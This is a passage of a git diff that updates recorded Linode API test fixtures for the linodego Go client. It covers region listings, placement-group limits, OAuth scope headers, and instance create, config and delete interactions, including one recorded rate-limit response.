1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:17 GMT + - Fri, 31 May 2024 18:19:17 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-3hsc9r285tr0","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-91o1vike890p","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,61 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933557, "label": "go-test-ins-wo-disk-3hsc9r285tr0", "group": + body: '{"errors": [{"reason": "Too many requests"}]}' + headers: + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Cache-Control: + - max-age=0, no-cache, no-store + Content-Length: + - "45" + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:19:17 GMT + Pragma: + - no-cache + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Frame-Options: + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "5" + status: 429 Too Many Requests + code: 429 + duration: "" +- request: + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-91o1vike890p","firewall_id":501582,"booted":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances + method: POST + response: + body: '{"id": 59544184, "label": "go-test-ins-wo-disk-91o1vike890p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["45.79.125.128"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.122.135"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "b87012b659b947e3d8e73fccf7a05a0eaa29cc4d", "has_user_data": false}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +384,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "761" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:17 GMT + - Fri, 31 May 2024 18:19:20 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +405,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +417,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-69p1ikgr40j9","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-17jn51fi23gh","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +426,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933557/configs + url: https://api.linode.com/v4beta/linode/instances/59544184/configs method: POST response: - body: '{"id": 58037974, "label": "go-test-conf-69p1ikgr40j9", "helpers": {"updatedb_disabled": + body: '{"id": 62730820, "label": "go-test-conf-17jn51fi23gh", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +458,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:17 GMT + - Fri, 31 May 2024 18:19:20 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +473,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -395,10 +494,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933557/configs + url: https://api.linode.com/v4beta/linode/instances/59544184/configs method: GET response: - body: '{"data": [{"id": 58037974, "label": "go-test-conf-69p1ikgr40j9", "helpers": + body: '{"data": [{"id": 62730820, "label": "go-test-conf-17jn51fi23gh", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", @@ -428,7 +527,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:17 GMT + - Fri, 31 May 2024 18:19:20 GMT Pragma: - no-cache Strict-Transport-Security: @@ -444,7 +543,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -462,7 +564,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933557 + url: https://api.linode.com/v4beta/linode/instances/59544184 method: DELETE response: body: '{}' @@ -488,7 +590,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:18 GMT + - Fri, 31 May 2024 18:19:21 GMT Pragma: - no-cache Strict-Transport-Security: @@ -503,7 +605,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Disk_Resize.yaml b/test/integration/fixtures/TestInstance_Disk_Resize.yaml index fc3b0e3d6..fe21cdda2 100644 --- a/test/integration/fixtures/TestInstance_Disk_Resize.yaml +++ b/test/integration/fixtures/TestInstance_Disk_Resize.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", 